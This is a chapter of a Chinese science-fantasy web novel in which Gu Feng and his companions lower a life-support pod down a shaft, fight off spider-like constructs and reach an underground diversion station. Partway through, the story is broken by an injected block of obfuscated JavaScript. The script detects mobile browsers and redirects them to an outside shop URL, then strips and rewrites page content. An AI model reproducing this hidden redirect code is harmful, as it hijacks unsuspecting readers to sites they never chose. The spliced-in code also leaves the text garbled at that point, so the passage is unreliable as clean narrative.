通道似乎永无止境。只有脚步声、喘息声、维生舱底部与地面摩擦的沙沙声,以及荧光棒燃烧的细微滋滋声。黑暗如同有实质的压迫感,从四面八方挤压过来。顾风必须时刻对抗着身体的虚弱和脑海中因过度消耗而再次变得清晰的、冰屑摩擦般的杂音。他能感觉到,体内那点源自规则力量的“有序暖意”正在与残存的影蚀力量缓慢地、持续地进行着某种微妙的“磨合”。暖意修复着身体的创伤,也试图“规训”躁动的影蚀;而影蚀则本能地抵抗、侵蚀着这份外来秩序,同时也在吸收其中有益的部分。这个过程带来了持续的内部低烧和肌肉的轻微痉挛。 大约行进了半个多小时(感觉却像半天),前方的雷烬突然停下,举起拳头示意警戒。 “前面有岔路。而且……有风。”雷烬低声道。 果然,一丝微弱但持续的、带着地下深处特有凉意的气流,从前方黑暗中涌来。借着荧光,他们看到通道在前方分成两条:一条继续水平延伸,另一条则陡然向下,变成一个近乎垂直的、带有简易扶梯的竖井入口。竖井入口处的标识牌早已锈蚀脱落,但依稀能辨认出“主通风井-维护梯”的字样。 就是这里了。 “地图指示,从这里向下。”林岚确认道。 向下,意味着更加远离可能的地面出口,深入更加不可测的地底。但这也是他们目前唯一明确的方向。 雷烬率先探身向下望去。竖井深不见底,黑暗中只有气流涌上的呜咽声。扶梯锈蚀得厉害,不少踏板已经缺失或松动。 “我先下,测试扶梯。林岚,你跟着我,注意小豆。顾风,你和维生舱最后,一定要绑好安全绳,慢慢下。”雷烬迅速分配任务。他将一根之前找到的、还算结实的电缆绑在自己腰间,另一端系在通道口的固定结构上,作为简易保险,然后深吸一口气,开始小心翼翼地向竖井下攀爬。 每一步都伴随着金属刺耳的呻吟和锈渣簌簌落下。下方黑暗仿佛巨兽张开的口。雷烬的心提到了嗓子眼,但动作沉稳。幸运的是,主结构还算牢固。他下行了大约十米,找到一处相对宽敞的维修平台,站稳后向上发出安全信号。 接着是林岚和小豆。林岚将小豆用绳索和自己背对背固定,双手紧抓扶梯,一点点向下挪动。过程极其耗费体力,当她终于踏上平台时,几乎虚脱。 轮到顾风和维生舱。这是最大的挑战。顾风先将自己和维生舱用多股绳索连接,然后尝试自己向下。他的手臂酸软无力,双腿打颤,好几次差点脱手滑落,全凭腰间和维生舱连接的安全绳以及雷烬在下方紧张的提醒才稳住。当他终于踩到平台时,整个人如同从水里捞出来一样,几乎瘫倒。 然后是维生舱。他们不可能将沉重的舱体沿扶梯放下。雷烬观察了平台结构,发现有一台废弃的手动绞盘(用来升降维修设备的),虽然锈死,但经过他和林岚的全力润滑和撬动,竟然勉强恢复了部分功能。他们将维生舱用绳索和绞盘钢缆固定好,然后雷烬和林岚一起摇动绞盘,顾风在平台上用撬棍辅助调整方向,一点一点地将维生舱从竖井口降下。 这个过程缓慢而危险。绞盘每转动一圈都发出令人牙酸的摩擦声,钢缆绷紧,仿佛随时会断裂。维生舱在下降过程中不断碰撞井壁,发出沉闷的撞击声,每一次都让顾风的心揪紧,生怕舱体受损或惊动什么。 就在维生舱下降到一半时,异变突生! 竖井上方,他们来时的维修通道方向,忽然传来一声沉闷的、如同重物落地的撞击声!紧接着,一阵急促而杂乱的、仿佛金属与岩石摩擦的刺耳噪音由远及近! 有什么东西,从他们刚才经过的通道里追来了!而且速度极快! “快!加快速度!”雷烬低吼,拼尽全力摇动绞盘手柄,手臂肌肉贲起,旧伤处传来撕裂般的疼痛。林岚也咬牙帮忙。 顾风抬头望向黑黢黢的竖井口,影蚀感知在危机刺激下勉强提起一丝。他“感觉”到,上方入口处,出现了数个冰冷的、非生命的、带着明确“探测”和“追踪”意味的波动!不是活物,更像是……**构装体**或者**自动防卫单元**!是“绿洲”项目的残留?还是天级魔修投放的“观察器”? “来不及了!准备切断钢缆!”雷烬当机立断,维生舱离平台还有三四米,但上方的噪音已经近在咫尺! “不行!下面是空的!”林岚急道,下方依然是深不见底的黑暗。 “顾风!接住!”雷烬没有犹豫,猛地将绞盘刹车卡死,同时抽出腰间的砍刀(之前从顾风那里接过),对准绷紧的钢缆狠狠砍去!他不是要完全砍断,而是在钢缆上砍出一个深深的缺口,使其在重力下缓慢撕裂、下坠,以减缓落地冲击! “锵!”火星四溅!钢缆被砍开大半! 维生舱猛地一沉,然后顺着残留的缆芯和顾风他们连接的牵引绳,开始加速下坠! 顾风扑到平台边缘,用尽全身力气拽住牵引绳,手掌瞬间被粗糙的绳索磨得血肉模糊!巨大的下坠力几乎将他拖下去!林岚也扑过来帮忙。 “咚!!!” 维生舱重重地砸在下方几米处另一个凸出的狭窄平台上(幸运!),发出巨响,舱体剧烈震动,警报声响起,但结构似乎完好!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081248|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 与此同时,上方竖井口,数道闪烁着暗红色扫描光束的、蜘蛛形态的金属构装体,已经探出了头!它们大小如脸盆,八条机械腿锋利,中央的独眼传感器正对准下方! “走!”雷烬怒吼,砍断连接自己和上方保险的电缆,率先沿着平台侧面的一个维修通道口(地图指示通往深层分流站)冲去。林岚抓起小豆紧随其后。 顾风看了一眼下方平台上冒着烟的维生舱,又看了一眼上方正在快速攀爬而下的蜘蛛构装体,眼中闪过一丝疯狂。他猛地将手中牵引绳在平台栏杆上绕了几圈打上死结,然后自己纵身跳下,落在维生舱旁边,巨大的冲击力让他双腿一软,跪倒在地,咳出一口鲜血。 他顾不上疼痛,立刻检查维生舱。屏幕闪烁,沈青瓷的生命指标再次下滑,但还在可接受范围内。他用力推动舱体,想把它挪进雷烬他们进入的通道口。 但蜘蛛构装体的速度更快!两只已经顺着井壁爬下,落在他前方的平台上,暗红的扫描光束锁定了他和维生舱,机械腿摩擦着金属地面,发出嘶嘶的威胁声,正在蓄势待发! 顾风背靠维生舱,手中只有那把卷刃的砍刀。体内力量空虚,影蚀沉寂。绝望再次涌上心头。 就在此时—— 维生舱内,一直深度封闭的沈青瓷,似乎被外界的巨大危机和顾风濒临绝境的意念刺激,**再次**强行凝聚起一丝微弱的灵觉! 没有传递意念,而是直接作用于现实! 那两只蜘蛛构装体的扫描光束,忽然**紊乱**了一瞬!它们的动作出现了极其短暂、几乎无法察觉的**迟滞**,仿佛接收到的指令和传感器信息出现了冲突! 就是这不到半秒的迟滞! 顾风福至心灵,体内那点“有序暖意”与沉寂的影蚀仿佛被沈青瓷这搏命般的干预所引动,产生了某种极其细微的共鸣!他来不及思考,遵循着本能,将残存的所有意志和力量,混合着这奇异的共鸣感,全部灌注到手中的砍刀上,对着最近那只构装体的中央传感器,狠狠掷出! 砍刀化作一道模糊的流光,精准地穿过因迟滞而露出的微小空隙,“咔嚓”一声刺入了传感器的保护罩!电火花爆闪,那只构装体发出一阵短促的嗡鸣,八条腿胡乱舞动了几下,便瘫倒在地。 另一只构装体似乎被同伴的突然失效干扰,扫描光束再次出现不稳定。 “顾风!快进来!”通道口,雷烬去而复返,手中的钢筋拐杖如同标枪般掷出,撞在第二只构装体身上,虽然没能击穿,但使其失衡后退了半步。 顾风抓住这转瞬即逝的机会,用肩膀死死顶住维生舱,爆发出最后的力气,将其猛地推向通道口!林岚也从里面伸出手帮忙拖拽。 就在他们连人带舱刚刚滚进通道口的瞬间,上方更多的蜘蛛构装体如同潮水般涌下,暗红的光束交织成网,封锁了平台。 雷烬奋力将通道口一道锈蚀的金属防火门拉上、扣死!门外立刻传来密集的撞击和刮擦声! 暂时……安全了。 顾风瘫倒在冰冷的地面上,大口喘息,鲜血不断从口中溢出,眼前阵阵发黑。最后那一击和推动维生舱,耗尽了他刚刚恢复的一丝元气。 维生舱内,沈青瓷的灵觉波动彻底消失,生命指标再次跌入危险区间。 他们所在的新通道更加宽敞,像是一条废弃的管线隧道,远处隐约有巨大的、规律的低沉轰鸣声传来,空气湿润,带着浓重的臭氧和机油味。墙壁上依稀能看到“深层分流站-非工作人员禁止入内”的标识。 他们抵达了地图上的第二个节点:深层分流站。 但代价惨重。顾风濒临崩溃,沈青瓷情况恶化,小豆未醒,全员精疲力尽。身后还有不知名的构装体追兵。 而那通往最终目的地的“静默之眼”,还在更深处,等待着这群伤痕累累的逃亡者。 顾风在意识沉入黑暗前,最后一个念头是:青瓷……又一次救了我……